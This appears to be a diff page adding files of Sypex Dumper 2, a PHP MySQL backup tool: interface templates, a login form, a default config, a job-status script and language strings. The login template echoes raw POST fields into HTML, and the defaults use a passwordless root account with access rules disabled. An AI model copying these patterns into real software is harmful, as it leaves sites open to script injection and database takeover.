<input type="button" value="{$SXD->LNG['btn_pause']}" id="btn_pause" onclick="sxd.pauseJob();" disabled>
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_resume']}" id="btn_resume" onclick="sxd.resumeJob();" style="display:none;">
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
<table cellspacing="0" id="tab_result" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td valign="top">
|
||||||
|
<div id=sxdGrid3></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td>
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_clear']}" onclick="sxd.result.clear();">
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<table cellspacing="0" id="tab_files" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td valign="top" colspan=2>
|
||||||
|
<div id=sxdGrid2></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td width="242"><form id="save_file" method="GET" style="visibility:hidden;display:inline;" target=save></form><input type="button" value="{$SXD->LNG['btn_delete']}" onclick="sxd.runFiles('delete')"></td><td width="290" align="right">
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_download']}" onclick="sxd.runFiles('download')">
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_open']}" onclick="sxd.runFiles('open')">
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
|
||||||
|
<table cellspacing="0" id="tab_services" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td width="242" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="services_db"></div>
|
||||||
|
<br>
|
||||||
|
<div class="caption">{$SXD->LNG['opt_check']}</div><div id="services_check"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['opt_repair']}</div><div id="services_repair"></div>
|
||||||
|
</td>
|
||||||
|
<td width="308" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['tree']}</div><div id=services_tree class="zTree"></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td align="right" colspan=2><input type="button" value="{$SXD->LNG['btn_extra']}" onclick="sxd.showMenu({el:this}, sxd.options.services,{btn:2,width:160});" style="float:left;"> <input type="button" value="{$SXD->LNG['btn_check']}" onclick="sxd.runServices('check')"> <input type="button" value="{$SXD->LNG['btn_repair']}" onclick="sxd.runServices('repair')"> <input type="button" value="{$SXD->LNG['btn_analyze']}" onclick="sxd.runServices('analyze')"> <input type="button" value="{$SXD->LNG['btn_optimize']}" onclick="sxd.runServices('optimize')"></td></tr>
|
||||||
|
</table>
|
||||||
|
<table cellspacing="0" id="tab_options" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td valign="top" colspan=2>
|
||||||
|
<div style="height: 341px;">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['cfg_legend']}</legend>
|
||||||
|
<table cellspacing="0">
|
||||||
|
<tr>
|
||||||
|
<td width=190>{$SXD->LNG['cfg_time_web']}</td>
|
||||||
|
<td width=45><input type="text" id="time_web" style="width:40px;"></td>
|
||||||
|
<td align="right">{$SXD->LNG['cfg_time_cron']}</td>
|
||||||
|
<td width=40 align="right"><input type="text" id="time_cron" style="width:40px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['cfg_backup_path']}</td>
|
||||||
|
<td colspan=3><input type="text" id="backup_path" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['cfg_backup_url']}</td>
|
||||||
|
<td colspan=3><input type="text" id="backup_url" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['cfg_globstat']}</td>
|
||||||
|
<td><input type="checkbox" id="globstat" value="1"></td>
|
||||||
|
<td align="right">Размер буффера OUTFILE (МБ)</td>
|
||||||
|
<td width=40 align="right"><input type="text" id="outfile_size" style="width:40px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>Путь для OUTFILE</td>
|
||||||
|
<td colspan=3><input type="text" id="outfile_path" value="" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['cfg_confirm']}</legend>
|
||||||
|
<table cellspacing="0">
|
||||||
|
<tr>
|
||||||
|
<td width="33%"><label><input type="checkbox" id="conf_import" value="1"> {$SXD->LNG['cfg_conf_import']}</label></td>
|
||||||
|
<td width="34%"><label><input type="checkbox" id="conf_file" value="1"> {$SXD->LNG['cfg_conf_file']}</label></td>
|
||||||
|
<td width="33%"><label><input type="checkbox" id="conf_db" value="1"> {$SXD->LNG['cfg_conf_db']}</label></td>
|
||||||
|
</tr><tr>
|
||||||
|
<td><label><input type="checkbox" id="conf_truncate" value="1"> {$SXD->LNG['cfg_conf_truncate']}</label></td>
|
||||||
|
<td><label><input type="checkbox" id="conf_drop" value="1"> {$SXD->LNG['cfg_conf_drop']}</label></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['cfg_extended']}</legend>
|
||||||
|
<table cellspacing="0">
|
||||||
|
<tr>
|
||||||
|
<td width=190>{$SXD->LNG['cfg_charsets']}</td>
|
||||||
|
<td><input type="text" id="charsets" value="" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['cfg_only_create']}</td>
|
||||||
|
<td><input type="text" id="only_create" value="" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['cfg_auth']}</td>
|
||||||
|
<td><input type="text" id="auth" value="" style="width:351px;"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td align="right" colspan=2><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveOptions();"></td></tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="overlay"></div>
|
||||||
|
<div class="dialog" id ="dia_connect">
|
||||||
|
<div class="header">{$SXD->LNG['con_header']}</div>
|
||||||
|
<div class="content">
|
||||||
|
<table cellspacing="5">
|
||||||
|
<tr>
|
||||||
|
<td valign="top">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['connect']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td width="80">{$SXD->LNG['my_host']}</td>
|
||||||
|
<td width="126"><input type="text" id="con_host" style="width:120px;"></td>
|
||||||
|
<td width="40" align="right">{$SXD->LNG['my_port']}</td>
|
||||||
|
<td width="36"><input type="text" id="con_port" maxlength="5" style="width:30px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['my_user']}</td>
|
||||||
|
<td colspan="3"><input type="text" id="con_user" name="user" style="width:202px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['my_pass']}</td>
|
||||||
|
<td colspan="3"><input type="password" id="con_pass" name="pass" title="{$SXD->LNG['my_pass_hidden']}" style="width:202px;" onchange="this.changed = true;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td></td>
|
||||||
|
<td colspan="3"><label><input type="checkbox" id="con_comp" value="1"> {$SXD->LNG['my_comp']}</label></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['my_db']}</td>
|
||||||
|
<td colspan="3"><input type="text" id="con_db" style="width:202px;"></td>
|
||||||
|
</tr>
|
||||||
|
</table></fieldset>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveConnect();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('connect');"></td></tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="dialog" id ="dia_savejob">
|
||||||
|
<div class="header">{$SXD->LNG['sj_header']}</div>
|
||||||
|
<div class="content">
|
||||||
|
<table cellspacing="5">
|
||||||
|
<tr>
|
||||||
|
<td valign="top">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['sj_job']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td width="80">{$SXD->LNG['sj_name']}</td>
|
||||||
|
<td><input type="text" id="sj_name" style="width:202px;" maxlength="12" value=""></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['sj_title']}</td>
|
||||||
|
<td><input type="text" id="sj_title" maxlength="64" style="width:202px;"></td>
|
||||||
|
</tr>
|
||||||
|
</table></fieldset>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveJob();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('savejob');"></td></tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class=dialog id="dia_createdb">
|
||||||
|
<div class="header">{$SXD->LNG['cdb_header']}</div>
|
||||||
|
<div class="content">
|
||||||
|
<table cellspacing="5">
|
||||||
|
<tr>
|
||||||
|
<td valign="top">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['cdb_detail']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td width="80">{$SXD->LNG['cdb_name']}</td>
|
||||||
|
<td width="202"><input type="text" id="db_name" value="my_db_1" style="width:202px;"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['combo_charset']}</td>
|
||||||
|
<td><div id="db_charset"></div></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['combo_collate']}</td>
|
||||||
|
<td><div id="db_charset_col"></div></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_create']}" onclick="sxd.addDb();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('createdb');"></td></tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class=dialog id="dia_charsets">
|
||||||
|
<div class="header" id="cc_header"></div>
|
||||||
|
<div class="content">
|
||||||
|
<table cellspacing="5">
|
||||||
|
<tr>
|
||||||
|
<td valign="top">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['cdb_detail']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td width="80">{$SXD->LNG['combo_charset']}</td>
|
||||||
|
<td width="202"><div id="services_charset"></div></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['combo_collate']}</td>
|
||||||
|
<td><div id="services_charset_col"></div></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['hint']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td colspan=2 id=charset_hint></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.changeCS();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('charsets');"></td></tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id=sxdMenu style="display:none;z-index:9999;"></div>
|
||||||
|
<script type="text/javascript">
|
||||||
|
sxd.init();
|
||||||
|
sxd.backupUrl = '{$SXD->CFG['backup_url']}';
|
||||||
|
sxd.tbar.init('sxdToolbar', {$SXD->VAR['toolbar']});
|
||||||
|
{$SXD->VAR['combos']}
|
||||||
|
sxd.actions.tab_backup();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
HTML;
|
||||||
|
}
|
||||||
|
|
||||||
|
function sxd_tpl_auth($error = ''){
|
||||||
|
global $SXD;
|
||||||
|
return <<<HTML
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<title>{$SXD->name}</title>
|
||||||
|
<link rel="shortcut icon" href="{$SXD->url}load.php?favicon.v209pro.ico">
|
||||||
|
<link rel="stylesheet" type="text/css" href="{$SXD->url}load.php?sxd.v209pro.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="dialog" id="dia_auth">
|
||||||
|
<div class="header"><a href="http://sypex.net/">{$SXD->name}</a></div>
|
||||||
|
<div class="content" id="div_1" style="line-height:50px;text-align:center;">{$SXD->LNG['js_required']}</div>
|
||||||
|
<div class="content" id="div_2" style="display:none;">
|
||||||
|
<form method="post">
|
||||||
|
<table cellspacing="5">
|
||||||
|
<tr>
|
||||||
|
<td valign="top" colspan="3">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{$SXD->LNG['auth']}</legend>
|
||||||
|
<table cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td width="90">{$SXD->LNG['auth_user']}</td>
|
||||||
|
<td width="192"><input type="text" name="user" value="{$_POST['user']}" class="i202"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>{$SXD->LNG['my_pass']}</td>
|
||||||
|
<td><input type="password" name="pass" value="{$_POST['pass']}" class="i202"></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td></td>
|
||||||
|
<td><label><input type="checkbox" name="save" value="1"{$_POST['save']}> {$SXD->LNG['auth_remember']}</label></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>Language:</td>
|
||||||
|
<td><select type="text" name="lang" style="width:198px;" onChange="this.form.submit();">{$SXD->lng_list}</select></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
<table cellspacing="3" id="hst" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td width="90">{$SXD->LNG['my_host']}</td>
|
||||||
|
<td width="116"><input type="text" name="host" style="width:110px;" value="{$_POST['host']}"></td>
|
||||||
|
<td width="40" align="right">{$SXD->LNG['my_port']}</td>
|
||||||
|
<td width="36"><input type="text" name="port" maxlength="5" style="width:30px;" value="{$_POST['port']}"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</fieldset>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="buttons"><td align="left"><input type="button" value="{$SXD->LNG['btn_details']}" onclick="var s = document.getElementById('hst').style; s.display = (s.display == 'block') ? 'none' : 'block';"></td><td align="right"><input type="submit" value="{$SXD->LNG['btn_enter']}"></td></tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<script type="text/javascript">document.getElementById('div_1').style.display = 'none';document.getElementById('div_2').style.display = 'block';</script>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
HTML;
|
||||||
|
}
|
|
@ -0,0 +1,6 @@
|
||||||
|
AddType application/octetstream .gz .bz2 .sql
|
||||||
|
|
||||||
|
#<Files ~ "\.(php|log|rtl|stp)$">
|
||||||
|
#order allow,deny
|
||||||
|
#deny from all
|
||||||
|
#</Files>
|
|
@ -0,0 +1,3 @@
|
||||||
|
<CENTER>
|
||||||
|
<H1>У вас нет прав для просмотра этого каталога</H1>
|
||||||
|
</CENTER>
|
|
@ -0,0 +1,25 @@
|
||||||
|
<?php
|
||||||
|
$CFG = array (
|
||||||
|
'charsets' => 'cp1251 utf8 latin1',
|
||||||
|
'lang' => 'auto',
|
||||||
|
'time_web' => '600',
|
||||||
|
'time_cron' => '600',
|
||||||
|
'backup_path' => 'backup/',
|
||||||
|
'backup_url' => 'backup/',
|
||||||
|
'only_create' => 'MRG_MyISAM MERGE HEAP MEMORY',
|
||||||
|
'globstat' => 0,
|
||||||
|
'my_host' => 'localhost',
|
||||||
|
'my_port' => 3306,
|
||||||
|
'my_user' => 'root',
|
||||||
|
'my_pass' => '',
|
||||||
|
'my_comp' => 0,
|
||||||
|
'my_db' => '',
|
||||||
|
'auth' => 'mysql cfg',
|
||||||
|
'user' => '',
|
||||||
|
'pass' => '',
|
||||||
|
'confirm' => '30',
|
||||||
|
'exitURL' => './',
|
||||||
|
'outfile_path' => 'backup/',
|
||||||
|
'outfile_size' => '64',
|
||||||
|
'debug'=> false
|
||||||
|
);
|
After Width: | Height: | Size: 1.1 KiB |
After Width: | Height: | Size: 47 B |
After Width: | Height: | Size: 12 KiB |
After Width: | Height: | Size: 1.7 KiB |
After Width: | Height: | Size: 264 B |
After Width: | Height: | Size: 573 B |
After Width: | Height: | Size: 1.5 KiB |
After Width: | Height: | Size: 309 B |
|
@ -0,0 +1,137 @@
|
||||||
|
<?php
|
||||||
|
// Sypex Dumper 2
|
||||||
|
header("Content-Type: text/html; charset=utf-8");
|
||||||
|
error_reporting(0);
|
||||||
|
set_error_handler("sxd_error");
|
||||||
|
if(!empty($_POST['ajax']['job']) && preg_match("/^[\w-]+$/", $_POST['ajax']['job'])){
|
||||||
|
$d = date("'Y.m.d H:i:s'");
|
||||||
|
if(!empty($_COOKIE['sxd'])) {
|
||||||
|
include('ses.php');
|
||||||
|
if(!empty($SES[$_COOKIE['sxd']])) {
|
||||||
|
$CFG = &$SES[$_COOKIE['sxd']]['cfg'];
|
||||||
|
include(load_lang($SES[$_COOKIE['sxd']]['lng']));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(empty($LNG)) {
|
||||||
|
include('cfg.php');
|
||||||
|
include(load_lang($CFG['lang']));
|
||||||
|
if(!empty($CFG['auth'])) {echo "sxd.log.add({$d},[" . esc($LNG['stop_5']) . " (1)]);sxd.hideLoading();"; exit;}
|
||||||
|
}
|
||||||
|
$job_name = $_POST['ajax']['job'];
|
||||||
|
$log_seek = !empty($_POST['ajax']['lseek']) ? (int) $_POST['ajax']['lseek'] : 0;
|
||||||
|
$job_file = "{$CFG['backup_path']}{$job_name}.job.php";
|
||||||
|
if (!file_exists($job_file)) exit;
|
||||||
|
include($job_file);
|
||||||
|
switch($_POST['ajax']['act']) {
|
||||||
|
case 'info':
|
||||||
|
if (!file_exists($JOB['file_rtl'])) exit;
|
||||||
|
$fh = fopen($JOB['file_rtl'], 'r+b');
|
||||||
|
$time = time();
|
||||||
|
$f = explode("\t", fgets($fh));
|
||||||
|
if(empty($f[0])) $f[0] = $time;
|
||||||
|
$pt = !empty($f[2]) ? round(100 * $f[10] / $f[2], 2) : 100;
|
||||||
|
$pc = !empty($f[8]) ? round(100 * $f[7] / $f[8], 2) : 100;
|
||||||
|
$lh = fopen($JOB['file_log'], 'rb');
|
||||||
|
fseek($lh, $log_seek);
|
||||||
|
$rawlog = fread($lh, 8192);
|
||||||
|
$log = '';
|
||||||
|
$old_time = '';
|
||||||
|
$logs = array();
|
||||||
|
if(!empty($rawlog)){
|
||||||
|
$temp = explode("\n", $rawlog);
|
||||||
|
foreach($temp AS $l){
|
||||||
|
if(empty($l)) continue;
|
||||||
|
$t = explode("\t", $l);
|
||||||
|
if(count($t) < 3) continue;
|
||||||
|
if($t[0] != $old_time){
|
||||||
|
if(!empty($logs)) $log .= "sxd.log.add('{$old_time}',[" . implode(',', $logs) . "]);";
|
||||||
|
$old_time = $t[0];
|
||||||
|
$logs = array();
|
||||||
|
}
|
||||||
|
$logs[] = esc($t[2]);
|
||||||
|
}
|
||||||
|
if(!empty($logs)) $log .= "sxd.log.add('{$old_time}',[" . implode(',', $logs) . "]);";
|
||||||
|
}
|
||||||
|
$log_seek = ftell($lh);
|
||||||
|
echo $log . "sxd.job.log_seek = {$log_seek};";
|
||||||
|
// Читаем лог
|
||||||
|
if($f[4] == 'EOJ') {
|
||||||
|
$pt = $pc = 100;
|
||||||
|
fclose($lh);
|
||||||
|
fclose($fh);
|
||||||
|
if (function_exists('usleep')) usleep(400000);
|
||||||
|
else sleep(1);
|
||||||
|
if($JOB['act'] == 'backup') $f[3] = filesize(file_exists($JOB['file_name']) ? $JOB['file_name'] : $JOB['file_tmp']);
|
||||||
|
// Обновляем список файлов
|
||||||
|
if($JOB['act'] == 'backup') print "sxd.actions.filelist(); z('btn_down').file = '{$JOB['file']}'; z('btn_down').style.display = '';";
|
||||||
|
echo "sxd.timer.set({$f[0]},{$f[1]},{$pt});sxd.progress.current.set({$pc}, 0, {$f[8]}, {$f[8]});sxd.progress.total.set({$pt},{$f[3]});";
|
||||||
|
echo "sxd.log.add({$d},['{$LNG['job_done']}', '{$LNG['js']['records']}: {$f[10]}', '{$LNG['file_size']}: ' + sxd.formatSize({$f[3]},2), '{$LNG['job_time']}: {$f[5]} {$LNG['seconds']}']);sxd.hideLoading();";
|
||||||
|
unlink($JOB['file_log']);
|
||||||
|
unlink($JOB['file_rtl']);
|
||||||
|
unlink($job_file);
|
||||||
|
}
|
||||||
|
else if($f[9] > 0){
|
||||||
|
echo "sxd.log.add({$d},[" . esc($LNG['stop_' . $f[9]]) . "]);" . (($f[9] == 3 || $f[9] == 4) ? 'sxd.resumeJob();' : 'sxd.hideLoading();');
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if($JOB['act'] == 'backup') $f[3] = filesize(file_exists($JOB['file_name']) ? $JOB['file_name'] : $JOB['file_tmp']);
|
||||||
|
if($f[4] != 'EK' && time() > $f[1] + 450) {
|
||||||
|
fopen($JOB['file_stp'],'w');
|
||||||
|
$f[9] = 0;
|
||||||
|
$f[1] = $time;
|
||||||
|
fwrite($fh, implode("\t", $f) . "\n");
|
||||||
|
echo "sxd.log.add({$d},[" . esc($LNG['job_freeze']) . "]);sxd.hideLoading();z('btn_resume').style.display = '';z('btn_pause').style.display = 'none';";
|
||||||
|
}
|
||||||
|
echo "sxd.timer.set({$f[0]},{$time},{$pt});sxd.progress.current.set({$pc},0,{$f[7]}, {$f[8]});sxd.progress.total.set({$pt},{$f[3]});";
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 'stop':
|
||||||
|
$fs = fopen($JOB['file_stp'],'w');
|
||||||
|
fwrite($fs, 1);
|
||||||
|
echo "sxd.log.add({$d},[" . esc($LNG['stop_job']) . "]);";
|
||||||
|
break;
|
||||||
|
case 'pause':
|
||||||
|
fopen($JOB['file_stp'],'w');
|
||||||
|
echo "sxd.log.add({$d},[" . esc($LNG['stop_job']) . "]);";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else echo "sxd.hideLoading();";
|
||||||
|
|
||||||
|
function load_lang($lng_name = 'auto'){
|
||||||
|
if($lng_name == 'auto'){
|
||||||
|
include('lang/list.php');
|
||||||
|
$lng = 'en';
|
||||||
|
if(preg_match_all('/[a-z]{2}(-[a-z]{2})?/', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $m)) {
|
||||||
|
foreach($m[0] AS $l){
|
||||||
|
if(isset($langs[$l])){
|
||||||
|
$lng_name = $l;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(file_exists("lang/lng_{$lng_name}.php")) return "lang/lng_{$lng_name}.php";
|
||||||
|
else return "lang/lng_en.php";
|
||||||
|
}
|
||||||
|
function esc($str){
|
||||||
|
return "'" . addcslashes($str, "\\\0\n\r\t\'") . "'";
|
||||||
|
}
|
||||||
|
|
||||||
|
function sxd_error($errno, $errmsg, $filename, $linenum, $vars){
|
||||||
|
global $JOB;
|
||||||
|
if($errno == 8192) return;
|
||||||
|
if(strpos($errmsg, 'timezone settings')) return;
|
||||||
|
if(!empty($JOB['file_stp'])) fopen($JOB['file_stp'],'w');
|
||||||
|
$errortype = array(1 => 'Error', 2 => 'Warning', 4 => 'Parsing Error', 8 => 'Notice', 16 => 'Core Error', 32 => 'Core Warning', 64 => 'Compile Error',
|
||||||
|
128 => 'Compile Warning', 256 => 'User Error', 512 => 'User Warning', 1024 => 'User Notice');
|
||||||
|
$str = "{$errortype[$errno]}: {$errmsg} ({$filename}:{$linenum})";
|
||||||
|
//error_log("[info.php]\n{$str}\n", 3, "error.log");
|
||||||
|
if($errno == 8 || $errno == 1024) {
|
||||||
|
echo "sxd.log.add('" . date("Y.m.d H:i:s") . "',[" . esc($str) . "], 4);sxd.hideLoading();";
|
||||||
|
}
|
||||||
|
elseif($errno < 1024) {
|
||||||
|
echo "sxd.log.add('" . date("Y.m.d H:i:s") . "',[" . esc($str) . "], 4);sxd.hideLoading();";
|
||||||
|
die;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,7 @@
|
||||||
|
<?php
|
||||||
|
$langs = array (
|
||||||
|
'en' => 'English',
|
||||||
|
'ru' => 'Русский',
|
||||||
|
'uk' => 'Українська',
|
||||||
|
);
|
||||||
|
?>
|
|
@ -0,0 +1,236 @@
|
||||||
|
<?php
|
||||||
|
// Language File for Sypex Dumper 2
|
||||||
|
$LNG = array(
|
||||||
|
|
||||||
|
// Information about the language file
|
||||||
|
'ver' => 20007, // Dumper version
|
||||||
|
'translated' => 'zapimir (http://sypex.net/)', // Contacts
|
||||||
|
'name' => 'English', // Lang name
|
||||||
|
|
||||||
|
// Toolbar
|
||||||
|
'tbar_backup' => 'Export',
|
||||||
|
'tbar_restore' => 'Import',
|
||||||
|
'tbar_files' => 'Files',
|
||||||
|
'tbar_services' => 'Services',
|
||||||
|
'tbar_options' => 'Options',
|
||||||
|
'tbar_createdb' => 'Create DB',
|
||||||
|
'tbar_connects' => 'Connection',
|
||||||
|
'tbar_exit' => 'Exit',
|
||||||
|
|
||||||
|
// Names of objects in the tree
|
||||||
|
'obj_tables' => 'Tables',
|
||||||
|
'obj_views' => 'Views',
|
||||||
|
'obj_procs' => 'Procedures',
|
||||||
|
'obj_funcs' => 'Functions',
|
||||||
|
'obj_trigs' => 'Triggers',
|
||||||
|
'obj_events' => 'Events',
|
||||||
|
|
||||||
|
// Export
|
||||||
|
'zip_max' => 'max',
|
||||||
|
'zip_min' => 'min',
|
||||||
|
'zip_none' => 'Uncompressed',
|
||||||
|
'default' => 'default',
|
||||||
|
'combo_db' => 'Database (Schema):',
|
||||||
|
'combo_charset' => 'Charset:',
|
||||||
|
'combo_zip' => 'Compression:',
|
||||||
|
'combo_comments' => 'Comment:',
|
||||||
|
'del_legend' => 'Autodelete if:',
|
||||||
|
'del_date' => 'age of files more than %s days',
|
||||||
|
'del_count' => 'number of files more than %s',
|
||||||
|
'tree' => 'Select objects:',
|
||||||
|
'no_saved' => 'No saved jobs',
|
||||||
|
'btn_save' => 'Save',
|
||||||
|
'btn_exec' => 'Execute',
|
||||||
|
'outfile' => 'OUTFILE mode',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Import
|
||||||
|
'combo_file' => 'File:',
|
||||||
|
'combo_strategy' => 'Restore strategy:',
|
||||||
|
'ext_legend' => 'Extended options:',
|
||||||
|
'correct' => 'Charset correction',
|
||||||
|
'autoinc' => 'Reset AUTO_INCREMENT',
|
||||||
|
'prefix' => 'Replace prefix from %s to %s',// 2.0.7 pro
|
||||||
|
'savesql' => 'Save to SQL-file',// 2.0.7 pro
|
||||||
|
'infile' => ' to file',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Log
|
||||||
|
'status_current' => 'Current status:',
|
||||||
|
'status_total' => 'Total status:',
|
||||||
|
'time_elapsed' => 'Elapsed:',
|
||||||
|
'time_left' => 'Left:',
|
||||||
|
'btn_stop' => 'Abort',
|
||||||
|
'btn_pause' => 'Pause',
|
||||||
|
'btn_resume' => 'Resume',
|
||||||
|
'btn_again' => 'Repeat',
|
||||||
|
'btn_clear' => 'Clear log',
|
||||||
|
|
||||||
|
// Files
|
||||||
|
'btn_delete' => 'Delete',
|
||||||
|
'btn_download' => 'Download',
|
||||||
|
'btn_open' => 'Open',
|
||||||
|
|
||||||
|
// Services
|
||||||
|
'opt_check' => 'Options for Check:',
|
||||||
|
'opt_repair' => 'Options for Repair:',
|
||||||
|
'btn_delete_db' => 'Delete DB',
|
||||||
|
'btn_check' => 'Check',
|
||||||
|
'btn_repair' => 'Repair',
|
||||||
|
'btn_analyze' => 'Analyze',
|
||||||
|
'btn_optimize' => 'Optimize',
|
||||||
|
'btn_extra' => 'Extra...',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Options
|
||||||
|
'cfg_legend' => 'Basic settings:',
|
||||||
|
'cfg_time_web' => 'Timelimit web (seconds):',
|
||||||
|
'cfg_time_cron' => 'Timelimit cron (seconds):',
|
||||||
|
'cfg_backup_path' => 'Path to backup directory:',
|
||||||
|
'cfg_backup_url' => 'URL to backup directory:',
|
||||||
|
'cfg_globstat' => 'Global statistics:',
|
||||||
|
'cfg_extended' => 'Extended settings:',
|
||||||
|
'cfg_charsets' => 'Charset filter:',
|
||||||
|
'cfg_only_create' => 'Only create types:',
|
||||||
|
'cfg_auth' => 'Authorization chain:',
|
||||||
